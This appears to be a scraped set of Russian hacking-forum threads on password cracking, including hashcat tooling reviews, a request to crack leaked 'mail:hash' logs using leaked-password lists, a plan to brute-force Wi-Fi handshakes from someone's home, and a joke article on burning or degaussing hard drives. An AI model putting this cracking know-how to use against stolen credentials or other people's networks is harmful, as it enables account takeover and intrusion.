Шифрование перед загрузкой

Когда вы загружаете данные в облако - фотографии, документы, коммерческую тайну, военные разведданные и т. д. - вы, вероятно, ожидаете определенной конфиденциальности. Проще говоря, другие люди не смогут просматривать ваши материалы, даже если они хранятся на общем облачном сервере. К сожалению, это простое ожидание не всегда может быть удовлетворено.

Если вы хотите, чтобы ваша конфиденциальность была в ваших руках, зашифруйте свои файлы с помощью одного из вышеперечисленных приложений перед загрузкой на Google Drive, OneDrive, Dropbox или Box.

Hashcat под колпаком
ID: 676536fbb4103b69df3738ea
Thread ID: 28475
Created: 2019-03-28T22:10:45+0000
Last Post: 2019-05-06T21:06:11+0000
Author: tabac
Replies: 1 Views: 3K

Hashcat под колпаком

В своей работе мы активно используем hashcat, но нам стало не хватать в этом продукте некоторых функций. Например: возможность отправки уведомлений, наличие единого интерфейса к управлению взломом хешей, удобного хранения «взломанных» хешей (через некоторое время смотреть в hashcat.potfile становится больно глазам). В некоторых ситуациях необходимо выполнять параллельный взлом хешей, то есть распределить задачи взлома между несколькими хостами.

В данном цикле статей мы хотим поделиться своими «находками» по теме интерфейсов управления и/или распределенного запуска программы hashcat, хранению статистики по «взломанным» хешам. В первой части рассмотрим некоторые существующие решения, далее подробнее рассмотрим продукт Hashtopolis.
Немного о самом hashcat (хешкэт)

Hashcat — это, по словам создателей, самый быстрый в мире инструмент для восстановления паролей. Версии доступны для Linux, macOS и Windows, и могут быть представлены в вариантах на базе CPU или GPU.

Hashcat получил свою популярность благодаря найденным его создателем недостаткам в других программах, использующих шифрование данных. На данный момент Hashcat активно используется для подбора WPA/WPA2 паролей, взлома паролей от документов MS Office, PDF, 7-Zip, RAR, TrueCrypt.

Click to expand...

Что за взлом хэшей такой?

На сегодняшний день самым распространенным способом аутентификации остается «аутентификация по паролю». Пользователь (или «процесс») в том или ином виде передает пароль на проверку целевой системе, где происходит сравнение полученных данных и того представления, что хранится в системе. Например, в случае дайджест-аутентификации пароль не предаётся и не хранится в открытом виде, а с помощью криптографии происходит преобразование некоторого идентификатора сессии наложением хеш значения пароля. На целевой системе выполняется похожая процедура, и если результаты двух операций совпадают — аутентификация считается пройденной, генерируется авторизационный cookie, или TGT, или что-то еще.

Механизм аутентификации в Web'е кратко изложен тут: habr.com/ru/post/28534, а подробно здесь: habr.com/ru/company/dataart/blog/262817

Перед исследователем безопасности (или аудитором) возникает другая задача — пароли подобрать/угадать, перехватить или обойти аутентификацию.

В случае атак на пароли, можно провести разделение на две категории (а всё остальное в третью, например атака «подсматривание за вводом пользователя»):

  1. online-атаки: множественные попытки аутентификации путем подбора пароля, что может «наделать много шума» или вызвать блокировку учетных записей. Это похоже на «ковыряние» отмычками в замочной скважине — хозяева могут полицию вызвать, а то и травмы нанести;
  2. offline-атаки: атакующему удалось получить хеши, и более целевая система не требуется для подбора пароля, весь процесс проходит на стороне атакующего. Как если бы удалось получить «слепок» замка и «ковырять» вдали от охраняемой двери.

Могут возникать ситуации вроде подбора паролей к архивам, защищенным документам или приватным ключам, но в целом это парольная атака, т.е. нужно подобрать ключ/комбинацию к замку.

Большинство атак на пароли и хэши можно разделить на:

  • «словарные» (англ. «dictionary», «wordlist»)
  • «в лоб» (или «брутфорс» от англ. «bruteforce», т.е. «грубая сила»)
  • «гибридные» (словарь + некоторая маска для брутфорса)

В результате поисков в сети готовых «интерфейсов» для работы с hashcat мы наткнулись на следующие решения:

Названия начинаются со слова 'hash' — с английского это слово переводят как «мешанина», «путаница», «блюдо из мелко нарезанных мяса и овощей». Если дословно переводить эти названия на русский, полученные словосочетания порождают мешанину в мозгу читающего. Особенно дико воспринимается название «Hashtopussy» (smile)

Начнем обзор с Hashpass. Он заинтересовал богатством функций (на первый взгляд): очередь хэшей на взлом, визуализация на глобальной карте пойманных WPA-handshake'ов, С2С для «шпионских» малинок, поддержка SMS информирования, красивые обои занятный интерфейс с визуализацией. Панель статуса задания в Hashpass выглядит вот так:

При погружении в описание проекта на GitHub обнаружилось, что для распределенного взлома хешей «dj-zombie» разработал отдельный проект Hive. Найти актуальной информации об этом проекте нам не удалось. Т.е. «из коробки» получить «дирижерскую палочку» для параллельного взлома на нескольких хостах нельзя. В качестве stand-alone решения Hashpass весьма интересен, а учитывая связанный с ним проект Rotten Pi — на Hashpass определенно стоит обратить внимание.

На этом знакомство с Hashpass завершилось, возможно мы вернёмся к его подробному обзору в цикле статей.

Проект Hashview не уступает своему собрату Hashpass по богатству функционала, а подход к «визуальной составляющей» интерфейса, как нам кажется, реализован лучше.

Пример экрана статистики:

image

Вот что может предложить Hashview:

  • Совместная работа — в приложении поддерживается создание отдельных аккаунтов и распределение ролей
  • Поддержка OTP (One Time Password) для аутентификации пользователей
  • Прямой доступ к командному интерфейсу hashcat инстанса
  • Создание очередей задач по взлому хешей
  • Уведомления на электронную почту о событиях
  • Поиск по внутренней базе данных хешей, имени пользователя, паролю
  • Визуализация метрик и система создания отчетов

Для установки сервера Hashview требуется работающий hashcat на хосте, действующее окружение RVM, MySQL, Redis. Официально заявлена поддержка Ubuntu версий 14.04 и 16.04, в других дистрибутивах Linux работа Hashview подтверждена сообществом.

А теперь о «минусах»:

Оба проекта, Hashpass и Hashview, создают впечатление заброшенности, коммиты в репозитории были давно, а документация не актуализируется.

Мы решили отложить Hashview на одну полочку с Hashpass и перейти к следующему проекту.

Hashtopolis увидел свет в 2016 году как развитие «обертки» для hashcat — Hashtopus (https://github.com/curlyboi/hashtopus). Вначале он назывался «Hashtopussy», но по соображениям «политкорректности» был переименован в «Hashtopolis». Официальная страничка проекта: hashtopolis.org. По сути это форум, на котором можно по крупицам собрать полезную информацию о продукте. Также был найден канал на Discord: discord.gg/S2NTxbz

Возможности и особенности Hashtopolis:

  • «Легко + удобно» установить и использовать сервер/агенты
  • Доступ из любого места через веб-интерфейс
  • Адаптивность серверной части с распространенными конфигурациями веб-хостинга
  • Автономные агенты на контролируемых crack-станциях
  • Управление файлами словарей и правил
  • Автообновление Hashtopolis and Hashcat
  • Взламывание нескольких хеш-списков одного и того же типа, как если бы они были одним списком
  • Единый файл для запуска агента в Windows, Linux и OS X
  • Файлы и хэши, помеченные как «секретные»(secret), распространяются только агентам, помеченным как «доверенные» (trusted)
  • Множество параметров импорта и экспорта данных
  • Богатая статистика по хешам и запущенным задачам
  • Визуальное представление распределения «порций хешей» (chunk distribution)
  • Многопользовательская работа с приложением
  • Поддержка уровней доступа пользователей
  • Различные типы уведомлений
  • Возможность создания мини-задач для взлома хешей силами CPU
  • Гранулярное распределение доступа за счет применения групп при назначении агентов и пользователей

Самой «подкупающей» фишкой Hashtopolis для нас стала поддержка уведомлений в Telegram прямо «из коробки». Этот мессенджер мы используем повседневно. Получать своевременные уведомления о «взломанных» хешах показалось крайне привлекательным. Конечно, данный функционал можно реализовать скриптами, но эта особенность не была единственной, которая привлекла в Hashtopolis.

Hashtopolis может управлять инстансами hashcat, начиная с версии 4.0.0. Также реализована поддержка «generic crackers» (некий общий командный интерфейс к ПО для «взлома хешей»). Дополнительные сведения о «generic crackers» тут

Внешний вид интерфейса Hashtopolis приятный, а навигация становится понятной через несколько минут знакомства.

Список заданий:

Красивая статистика по работе агента:

Дополнительные источники информации, к которым мы обращались по теме Hashtopolis:

На этом завершается вводная часть, мы поделились своим «первым впечатлением». К сожалению, у рассмотренных проектов документация не самого лучшего качества, информация разрознена и подается весьма сжато.

Надеемся, что нам удалось вызвать у читателя интерес к рассмотренным продуктам, ведь чем больше будет пользователей, тем лучше будут становиться проекты и, как следствие, появится больше информации по использованию.

В следующей части разберем установку и конфигурацию продукта Hashtopolis.

(c) KRAUD
хабр

Аппаратное уничтожение данных на жёстком диске
ID: 676536fbb4103b69df3738ec
Thread ID: 28593
Created: 2019-04-04T17:43:12+0000
Last Post: 2019-04-04T20:10:24+0000
Author: lukas
Replies: 3 Views: 3K

Жжём по полной

Ни для кого не секрет, что для полного и безвозвратного удаления информации с цифрового носителя просто выбрать файл и нажать на клавишу «del» или воспользоваться командой «rm» недостаточно. Сделать так, чтобы умные и дотошные парни не смогли восстановить удаленные файлы с вашего носителя не так уж и просто, и порой требует элегантных решений.

Сегодня попробуем разобраться, как уничтожить данные не только окончательно, но и с чувством стиля за то время, пока добрые сотрудники ФСБ, оклеветанные бизнесмены и просто оскорбленные вашим чувством юмора люди тестируют вашу входную дверь на прочность.

Что же можно сделать для того чтобы не просыпаться посреди ночи в холодном поту, переживая за сохранность личной или корпоративной информации – прямо под катом.
«Традиционный» способ. Коэрцитивная сила

Данный способ прост как топор, и также надежен. Для полного и безвозвратного стирания всех данных необходимо создать магнитное поле такой напряженности, при которой ферромагнетик просто-напросто размагнитится.

Значение напряженности магнитного поля необходимое для полного размагничивания ферромагнетика называется коэрцитивной силой.

Для тех, кто хочет знать больше

Итак, что же нам понадобится, чтобы воспользоваться данным методом?

Ферромагнетик у нас уже есть – это ваш любимый диск с очень важными данными, а точнее тонкий слой двуокиси хрома, нанесенный на пластины «блинов». Именно этот тонкий слой и отвечает за хранение информации, которая не должна попасть в руки проходимцев и врагов народа.

Осталось дело за малым – получить магнитное поле нужной напряженности.

Магнитное поле, создаваемое проводом с током, прямо пропорционально току, протекающему в проводнике. Поэтому, чтобы получить ток побольше для размагничивания жесткого диска понадобится большое напряжение и провод с сечением побольше.

Несмотря на то, что домены ферромагнетика относительно «ленивы», короткого импульса тока должно быть достаточно, чтобы размагнитить диск. Поэтому для накопления нужного количества энергии вполне подойдет батарея конденсаторов. Конденсаторы подключаем параллельно, чтобы увеличить емкость. И для простоты конструкции включаем их прямо в сеть через диодный мост. Возможно не самое элегантное решение, но весьма простое. С другой стороны к конденсаторам подпаяем провод, обвитый вокруг жесткого диска. И не забудем про кнопочку включения.

Правда, добежать до магазина радиодеталей и собрать все это вместе я так и не успел.

Оказывается, подобная схема уже была реализована и полностью описана в журнале «Хакер» аж в далеком 2006 году. И автор данной статьи пишет эту статью. Сей девайс был собран из останков блока питания, красной кнопки и загадочной детали под названием «совковый кондер».

Принципиальная схема устройства не сильно отличалась от моих стараний. Получившаяся конструкция уничтожала диски с громким хлопком, задорно разбрызгивая металл при замыкании проводов.

Ну что же, получается, что подобный способ тоже нельзя назвать самым безопасным. Зато диски после срабатывания данного аппарата хоть и не имели видимых повреждений, отказывались определяться в БИОСе.

А вот и ссылка на это творение рук человеческих.

Статья начинается с 20-той страницы.

Поскольку в статье рекомендовалось отключать прибор от сети при разрядке конденсаторов, я добавил второй выключатель в свою схему. В итоге она приобрела следующий вид:

Принципиальная схема устройства в 3D:

  1. Диодный мост
  2. Батарея конденсаторов
  3. Жертвенный диск
  4. Выключатели

Справедливости ради следует сказать, что данный способ весьма эффективно используют и в промышленных решениях. Например, вот содержимое уничтожителя дисков «Импульс-9В».

Та же катушка, блок конденсаторов, который заряжается от своего выпрямителя (нет на фото) и контроллер.

Однако наш самодельный опасен, где-то сложен в изготовлении. Но есть более надёжный способ. Вы хотите жечь? Их есть у меня!

Уничтожить любой ценой

Как писал Экклезиаст «Всему свое время, и время всякой вещи под небом: …время разбрасывать камни, и время собирать камни».

Есть время накапливать информацию, и есть время когда необходимо ее безвозвратно уничтожить. Порой обстоятельства складываются так, что от каких- то данных необходимо быстро и надежно избавиться. Сей скромный опус посвящен тому как избавиться от информации на HDD, ну и заодно и от самого винчестера.

Если бы мне вдруг предложили уничтожить жесткий диск со всем его содержимым, то сознание моментально дало бы ответ: «сжечь!», а руки сами потянулись бы пропано-бутановой горелке. С физической точки зрения в этом есть определенный резон, так как максимальная температура пламени может достигать 1300 градусов по Цельсию, а алюминиевые пластины жесткого диска начнут плавиться уже при температуре порядка 660 градусов Цельсия. Стоит отметить, что на практике этот способ вызовет массу неудобств, да и времени займет немало.

Однако отказать себе в удовольствии расплавить диск я все же не смог и решил приступить к аутодафе. Для этого мне понадобилось следующее:

  • Диск, который будет страдать за наши грехи;
  • Газовая горелка и баллон с газом для нее;
  • Хороший знакомый Greenbastad aka sevasat, который согласился быть оператором.
  • Решено было жечь диск с включенным секундомером, чтобы хоть примерно оценить время, за которое можно уничтожить диск таким способом.

Итак, перво-наперво надо снять крышку, потому что греть корпус — занятие бесполезное. На это у меня ушло примерно 2 минуты, половина из которых ушла на отрывание наклейки, под которой сидел последний винт.


Диск полностью готов к процедуре.

Затем для пущего веселья подаем питание на диск. Блин начинает задорно крутиться. Подношу горелку, и синее пламя облизывает блестящую поверхность блина. В первую секунду диск покрывается конденсатом, но через мгновение снова становится гладким и блестящим как зеркало.


Самое начало процесса.

Через некоторое время блин расширяется, и коромысло начинает нарезать круги на поверхности диска.

Спустя 5 минут диск останавливается – похоже не выдержал мотор шпинделя. На этом моменте вырываем питание из диска чтобы провода не мешались под рукой.


Пошла седьмая минута эксперимента, кажется, что диск начал сдаваться.

И тут я наблюдаю совершенно неожиданное для меня явление. Покрытия алюминиевого блина гораздо лучше выдерживают адский нагрев, нежели сама пластина. Место нагрева покрывается рябью, начинает оплывать, но напрочь отказывается терять форму окончательно и превращаться в лужу металла. Вот так незадача.


Поверхность блина оплывает, но продолжает держать форму.

Но отступать поздно, поэтому продолжаем безбожно греть все, что попадает под руку: шпиндель, блин, актуатор – ничто не избегает ужасной участи. Вскоре диск основательно прогревается и плата, расположенная на задней стороне начинает коптить. Затем она вспыхивает желтым пламенем.


Пожар как он есть.

— Мы так пожар устроим, — сетую оператору.
— Уже устроили! — смеется он в ответ.

Комната начинает заполняться едким дымом, с пикантным привкусом фенольных смол.
Тем временем на секундомере 15:52. Эксперимент можно было бы закончить, но вместо этого на 17-ой минуте идем ва-банк и зажигаем под диском горелку плиты.

Дальнейшие события можно описать одной единственной фразой: «дикий угар».

На 20-ой минуте терпение у оператора кончается, и он проверяет прочность блина ножом. Под напором физического и термического воздействий диск начинает сдавать и крошиться, но только там, где побывал нож, в остальных местах диск по прежнему пытается сохранить свою первоначальную форму.


Комбинированный способ уничтожения информации.

Отбросив нож, мой компаньон тоже вооружается горелкой. Снимаем поочередно, держа в одной руке горелку, а в другой фотоаппарат.

Финальные минуты безумства выглядят на удивление прекрасно – диск стал похож на цветок с сине-зелеными лепестками.

28 минут – «эксперимент» закончен.

Диск лежит неподвижно и не подает признаков жизни. Выглядит он весьма неважно.


Жесткий диск немного не в форме.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fgx%2F9j%2Fuo%2Fgx9juonqadntzizuobr3mjst- py.png&hash=7668551f876d6849a4fe3c5f0d42ea67)
На задней поверхности корпуса получился довольно занятный узор, отдаленно напоминающий морозный узор на окнах.

Честно говоря, плавить жесткий диск до такого состояния вовсе необязательно. Достаточно лишь достигнуть точки Кюри. Это такая температура, при которой тепловое движение разрушит упорядоченное расположение доменов ферромагнетика. При этом информация хранящаяся на диске должна исчезнуть (Но это не точно). Для диоксида хрома, чья пленка чаще всего используется для хранения данных на жестких дисках, температура Кюри равна 386⁰К. Но я человек темный, поэтому расплавил все до основания. Тем более, такой подход гарантирует невозможность восстановления данных. Но не гарантирует, что расплавленный алюминий не умудрится капнуть вам в тапок.

Однако стоит заметить, что после крушения шаттла Колумбия диск, спустившийся на огненной колеснице и ударившийся о твердь земную, все еще содержал в себе информацию, которую восстановили почти полностью.


Диск с шаттла.

Поэтому, возможно, наше рвение было не таким уж и напрасным.

Правда, убитый нами винчестер оказался всего с одним блином. Он был выбран случайно из нескольких отказавших HDD, и данный факт явился полной неожиданностью для нас. Поэтому насколько бы прожарились блины, прятавшиеся у стенки, мы уже не узнаем.

На самом деле, немного фантазии и знаний законов физики помогут вам найти целую кучу способов уничтожения дисков, но после проведенного эксперимента я бы трижды подумал, прежде чем применять их на практике. Не стоить забывать, что всегда можно банально стереть данные, а затем записать поверх них новые или просто случайный набор нулей и единиц. Данный способ уничтожения данных, несмотря на то, что он ужасно медленный, гарантирует сохранность вашего жесткого диска.

Заключение

Итак, что же мы имеем в конце?

Всегда можно уничтожить диск своими руками при помощи незамысловатых подручных средств. Правда, этот вариант подойдет только если вы имеете запас ненужных дисков, а также хотите необычно провести свое время и попробовать новый вид досуга. На практике данный способ более чем бесполезен, и более того, может быть опасен для вашего здоровья.

Собранный своими руками уничтожитель, как и первый вариант, больше подойдет для коротания темных зимних вечеров, нежели для использования по прямому назначению.

Третий и, пожалуй, единственный достойный вариант – приобретение готового прибора с большим функционалом и проверенной испытаниями конструкцией. Хотя это, конечно, не наш метод.

Статья опубликована на правах 1-го апреля :). Создана в соавторстве с Alexandr_1101 (основная идея и текст его).

Сергей dlinyj

Помогите настроить перебор хэшей...
ID: 676536fbb4103b69df3738ee
Thread ID: 27914
Created: 2019-02-18T01:28:18+0000
Last Post: 2019-02-23T16:32:24+0000
Author: alektrick
Replies: 5 Views: 3K

Допустим наковырял себе лог вида
mail:hash
Какой нибудь MD5 можно прогнать в хэшкате по классике тут все быстро и красиво
Список хэшэй + список словарей дальше перебираешь все возможные комбинации.

Но есть же хэши более вредные которые подбираются гораздо медленнее.
wordpress
phpBB3
bcrypt

Появилась такая задумка.

А что если через антипаблики по мэйлам к хэшам подбирать возможные кандидаты в пароли.
т.е. готовить тепленькие словари
Но и тут если работать по классике
hashcat64.exe –a 0 –m 400 [hash.txt] [pass.txt]
То полная сверка займет кучу времени
Так так это работает так:
берет пароль из pass.txt и проверяет все хеши из списка [hash.txt].

Этот момент также можно ускорить.
Если работать по следующей схеме

Подготовить список такого плана и дальше работать построчно

Spoiler: HASH:(кандидат в пароль)

$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:spiderman12
$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:jsdnu48fndskf
$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:dckijn2233mvm
$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:dsjninf34838
$H$93i/5oG..EgQRnlxQJ1Rjx4EDIH0Lt0:dasssjdjf123
$H$93i/5oG..EgQRnlxQJ1Rjx4EDIH0Lt0:mrhis05
$H$93i/5oG..EgQRnlxQJ1Rjx4EDIH0Lt0:urrree1105

Пытался заставить хэшкат работать по по следующему алгоритму

Пример 1:
Берем первую строку
$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:spiderman12
И сверяем этот хэш $H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1 с этим паролем spiderman12
Если он подходит то закидываем его в hashcat.potfile
Если нет то переходим к следующей строке (связке).

P/s: пример 1 можно провернуть в утилите HASH MANAGER (VerifyOutfile)

Пример 2 (подбор по правилам):
$H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1:spiderman12
И сверяем этот хэш $H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1 с этим паролем spiderman12
Если он подходит то закидываем его в hashcat.potfile
Если нет то изменяем пароль по условиям прописанных в .rule. И опять его сверяем на совместимость с этим хэшем $H$9c/mC25..sFFfqQ8hMnG960Fg32wVh1. И так работаем до тех пор, пока не подойдет пароль или пока не закончатся условия в .rule
Если закончились условия в .rule и пароль не подошел. То переходим к следующей строке. И повторяем тоже самое

НО ОН ТАК НЕ УМЕЕТ, и они это не планируют внедрять

Но ходят слухи что такое можно провернуть в John the Ripper's

ЦИТАТА: смоделировать его в «одиночном» режиме Джона Потрошителя, создав искусственный теневой файл с ожидаемым паролем в поле имени пользователя.

Click to expand...

Я так и не смог найти ответ как там такое сделать.
Можете подсказать как там такое провернуть, или еще какой нибудь аналогичный софт.
Больше всего интересует ПРИМЕР 2

hashcat
ID: 676536fbb4103b69df3738f1
Thread ID: 27157
Created: 2019-01-05T23:17:31+0000
Last Post: 2019-01-14T08:03:11+0000
Author: D@rkS1de
Replies: 2 Views: 3K

Использую хешкет гуил настройки стандартные
hashcat64.exe: unknown option -- gpu-temp-disable Invalid argument specified.
при запуске вот такая беда, я не понимаю от куда оно берет gpu-temp-disable если я его не указывал , вообще

Вторая фаза аудита Truеcrypt завершена
ID: 676536fbb4103b69df3738f4
Thread ID: 25829
Created: 2015-04-30T06:52:47+0000
Last Post: 2015-07-04T20:07:37+0000
Author: krest
Replies: 3 Views: 3K

Тема уже не новая, но все же думаю это интересно

Проект Open Crypto Audit Project (OCAP) , объявил о завершении второй стадии аудита популярного открытого приложения для шифрования дисковых разделов Truecrypt. Несмотря на то, что проект Truecrypt был закрыт разработчиками (ему на смену пришел форк CipherShed), его независимый аудит был доведён до конца, чтобы развеять сомнения в отсутствии бэкдоров, позволяющих спецслужбам получить доступ к зашифрованным данным. Первая стадия аудита, выполненная в апреле прошлого года и не выявившая существенных проблем, была посвящена изучению исходных текстов проекта.

На второй стадии выполнен анализ криптостойкости применяемых алгоритмов шифрования и корректности их реализации. Судя по опубликованному отчету, на второй стадии также не было выявлено критических проблем или фактов, которые могли бы свидетельствовать о внедрении бэкдоров или преднамеренных дефектов. В целом TrueCrypt оценен как весьма хорошо спроектированный продукт. При этом в процессе анализа выявлено 4 уязвимости, две из которых признаны незначительными, а двум присвоен высокий уровень опасности, но также отмечена очень высокая трудность эксплуатации.

Первая опасная уязвимость при очень редком стечении обстоятельств может привести к сбою выполнения вызова CryptAcquireContext (функция из Windows API) в генераторе случайных чисел Windows и формированию первичного ключа в условиях недостаточного накопления энтропии, что потенциально может способствовать проведению brute-force-атаки по подбору ключа. Вероятность такого сбоя оценена как экстремально низкая. Кроме того, CryptAcquireContext является не единственным используемым источником энтропии, поэтому проблема скорее носит теоретический харктер.

Вторая уязвимость вызвана недоработками в коде с ассемблерными оптимизациями для блочного шифра AES, что позволяет применить cache-timing-атаку для восстановлению данных через оценку изменения состояния кэша процессора. Данные вид атак очень труден в реализации и подразумевает, что атакующий имеет доступ к выполнению кода в системе. Неопасные проблемы связаны с возможностью использования keyfile и хранением метаданных раздела в отдельно зашифрованных заголовках.

Дополнительно:
Полный список контрольных сумм для версии 7.1a . Сорцы версии 7.1a можно скачать здесь

curve25519 shellcode
ID: 676536fbb4103b69df3738f5
Thread ID: 25907
Created: 2015-06-02T11:53:24+0000
Last Post: 2015-06-02T12:15:53+0000
Author: slender
Replies: 2 Views: 3K

Однажды мне понадобилось использовать эллиптическую криптографию в коде на ассемблере (FASM). Мой взор пал на легкую либу curve25519 с исходником на C. Нужен был чистый код, без зависимостей (а их там аж три штуки: умножение 64-битных чисел, memset и memcpy). Было решено просто рипнуть скомпилированный код (ибо делать имплементацию этого чуда на ассемблере совсем лениво), и собрать с учетом некоторых правок, что я и сделал.

main.asm (curve_lib.inc лежит в аттаче)

Code:Copy to clipboard

    format pe console

    entry start

    include 'win32a.inc'


section '.data' data readable writeable

    priv                    db 'private: ',      0
    publ                    db ' public: ',      0
    shar                    db ' shared: ',      0
    frmt                    db '%02X',           0
    next_line               db 13, 10,           0


;       uint8_t basepoint[32] = {9};
    basepoint               db 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
                            db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

    private_key_1           db 0x50, 0xA9, 0xB2, 0x19, 0x0B, 0xC3, 0x71, 0x44, 0x12, 0xEB, 0x2E, 0xEB, 0x80, 0x03, 0xC3, 0x69
                            db 0xEC, 0x60, 0x90, 0x44, 0x57, 0x24, 0xF5, 0x0D, 0x08, 0xD3, 0x23, 0xD3, 0x18, 0x9D, 0x6D, 0xFD

    private_key_2           db 0x38, 0x77, 0x55, 0xD6, 0x8C, 0xA4, 0xA0, 0x2A, 0xAB, 0x00, 0x50, 0xAE, 0x13, 0xAE, 0x2E, 0x1B
                            db 0x09, 0x9E, 0x34, 0x8E, 0xC6, 0x7C, 0xA4, 0xFA, 0x8A, 0x59, 0x60, 0x45, 0xEC, 0xDC, 0x21, 0x89

    public_key_1            rb 32
    public_key_2            rb 32

    shared_key_1            rb 32
    shared_key_2            rb 32


section '.text' code readable executable

;       Шеллкод curve25519-donna.
    include 'curve_lib.inc'


;       От нас требуют:
;           "...
;           To generate a private key, generate 32 random bytes and:
;
;           mysecret[0] &= 248;
;           mysecret[31] &= 127;
;           mysecret[31] |= 64;
;           ..."
    proc prepare_private_key, key
        mov esi, [key]
        and byte[esi], 248
        mov al, byte[esi + 31]
        and al, 127
        or al, 64
        mov byte[esi + 31], al

        ret
    endp


;       Вывод значений.
    proc print, szLabel, pBuffer
        cinvoke printf, [szLabel]
        mov esi, [pBuffer]
        xor ecx, ecx

    @@: movzx eax, byte[esi]

        push ecx
        cinvoke printf, frmt, eax
        pop ecx

        inc ecx
        inc esi

        cmp ecx, 32
        jne @b

        cinvoke printf, next_line

        ret
    endp

start:

;   ---------------------------------------------------------------------------------

    stdcall prepare_private_key, private_key_1
    stdcall prepare_private_key, private_key_2

;   ---------------------------------------------------------------------------------

    stdcall curve25519_donna, public_key_1, private_key_1, basepoint
    stdcall curve25519_donna, public_key_2, private_key_2, basepoint

    stdcall curve25519_donna, shared_key_1, private_key_1, public_key_2
    stdcall curve25519_donna, shared_key_2, private_key_2, public_key_1

;   ---------------------------------------------------------------------------------

    stdcall print, priv, private_key_1
    stdcall print, priv, private_key_2

    cinvoke printf, next_line

    stdcall print, publ, public_key_1
    stdcall print, publ, public_key_2

    cinvoke printf, next_line

    stdcall print, shar, shared_key_1
    stdcall print, shar, shared_key_2

;   ---------------------------------------------------------------------------------

    cinvoke getchar
    xor eax, eax
    ret


section '.idata' import data readable writeable

    library msvcrt, 'msvcrt.dll'

    import  msvcrt,\
            printf, 'printf',\
            getchar, 'getchar'

Результат работы:

private: 50A9B2190BC3714412EB2EEB8003C369EC6090445724F50D08D323D3189D6D7D
private: 387755D68CA4A02AAB0050AE13AE2E1B099E348EC67CA4FA8A596045ECDC2149

public: CB0647D9457C536DB7FB18C8044E4B8DAA9E811166C830D8B72803D4E1498E21
public: 54D0057FBC4A08B30266DFA0B6702C91960811AC7F45C95064911A73B8AAAD58

shared: 47AAB98094C63AA159F5444E0C502FBC6425D6E175749AB73C3C3C085FDAC153
shared: 47AAB98094C63AA159F5444E0C502FBC6425D6E175749AB73C3C3C085FDAC153

Click to expand...

Размер пи-кода составляет 7004 байт.

Также подчеркну интересную особенность в ходе работы: так как компиляция производится "студийным" компилятором, рипнутый код необходимо ассемблировать microsoft'ным ассемблером. Мы можем собрать и FASM'ом, но на выходе получим неожиданный результат - любая пара будет вычислять неверный shared-ключ. Вся проблема заключается в разнице генерируемых опкодов.

Вот такой камень преткновения при ассемблировании сложного кода после умного компилятора.

Скачать -

бесплатный курс по криптографии
ID: 676536fbb4103b69df3738f6
Thread ID: 25841
Created: 2015-05-06T14:35:41+0000
Last Post: 2015-05-06T14:35:41+0000
Author: abator
Prefix: Видео
Replies: 0 Views: 3K

Интерактивный онлайн-курс по криптографии:

_https://www.udacity.com/course/applied-cryptography--cs387

Язык: английский

Описание:

Explore how secrets are written and shared, as well as what can go wrong when cryptography is misused or implemented badly.

Lesson 1: Perfect Ciphers

What makes certain ciphers perfect, how the Lorenz Cipher was broken
Lesson 2: Symmetric Encryption

Sending messages when two people share a secret
Lesson 3: Key Exchange

Techniques to establish a shared secret
Lesson 4: Asymmetric Encryption

Exchanging information using public key cryptosystems
Lesson 5: Public Key Protocols

Encrypted key exchange, certificates, secure commerce
Lesson 6: Using Cryptographic Primitives

How cryptography can be useful for anonymizing communication, voting, and digital cash
Lesson 7: Secure Computation

Computing without exposing data

Click to expand...

Rainbow table generation botnet
ID: 676536fbb4103b69df3738f7
Thread ID: 24985
Created: 2014-02-10T19:58:43+0000
Last Post: 2014-02-10T21:04:22+0000
Author: Chococream
Replies: 2 Views: 3K

Объявляется набор в группу для разработки распределённого генератора rainbow таблиц
на видеокартах (GPU) на основе уже готового проекта https://www.freerainbowtables.com/en/tableprogress/

От участников требуется:
- Наличие железа под тесты (AMD, nVidia видео-карточки)
- Умение писать на c/c++(сам бот) или php(администраторская панель)

Планируется сделать бот расширяемым для добавления различных криптоалгоритмов(MD5, SHA, MySQL, etc).
Боты(проще говоря, клиенты) будут на своей стороне генерировать цепочки и отсылать на сервер, собирающий
всю информацию воедино. Для верификации полученных данных, задания будут распределяться между несколькими
ботами.

Rainbow метод выбран, потому что никто не может гарантировать up-time ботов. В то же время, как БД
доступна всегда и при желании, её можно распределить среди нескольких серверов в локальной сетке.

Заинтересованных прошу к обсуждению идеи, её плюсов и минусов.

Декодирование IonCube
ID: 676536fbb4103b69df3738f8
Thread ID: 24115
Created: 2013-04-25T09:43:14+0000
Last Post: 2013-04-26T08:55:15+0000
Author: zero_day
Replies: 3 Views: 3K

Интересует вопрос существуют ли бесплатные декодировщики IonCube, или не стоит тратить время и сразу обратиться к платным вариантам?

EGBShell v0.1 - графическая оболочка для EGB
ID: 676536fbb4103b69df3738f9
Thread ID: 22171
Created: 2011-09-08T18:10:27+0000
Last Post: 2011-09-08T18:10:27+0000
Author: Geograph
Replies: 0 Views: 3K

Написал графическую оболочку (GUI) для Extreme GPU Bruteforcer, собственно моя программа по существу является конфигуратором, который после настройки запускает все тоже консольное окно EGB (оболочку даже можно закрыть и EGB продолжит свою работу).

Так же еще добавил несколько примочек от себя, такие как выключение/переход в ждущий режим компьютера после окончания атаки, автоматический запуск всех видов атак по очереди, без необходимости вручную менять параметр AttackMode и т.п.

Скриншот
![](/proxy.php?image=http%3A%2F%2Fgeograph.us%2Ffiles%2FMain- window.jpg&hash=61231474b6316f32d000662c955d7f64)

Скачать EGBShell v0.1

Словари паролей
ID: 676536fbb4103b69df3738fa
Thread ID: 22086
Created: 2011-08-13T12:04:51+0000
Last Post: 2011-08-13T16:41:13+0000
Author: G100M
Replies: 1 Views: 3K

Так случилось, что мне пришлось брутить хэндшейки, взятые из чьей-то обычной типовой квартиры на окраине питера. Перебрал уже кучу вариантов, но ничего не получилось. Есть идеи? Поделитесь словарями хорошими?

Obfuscator - obfuscation tool for the x86 assemble
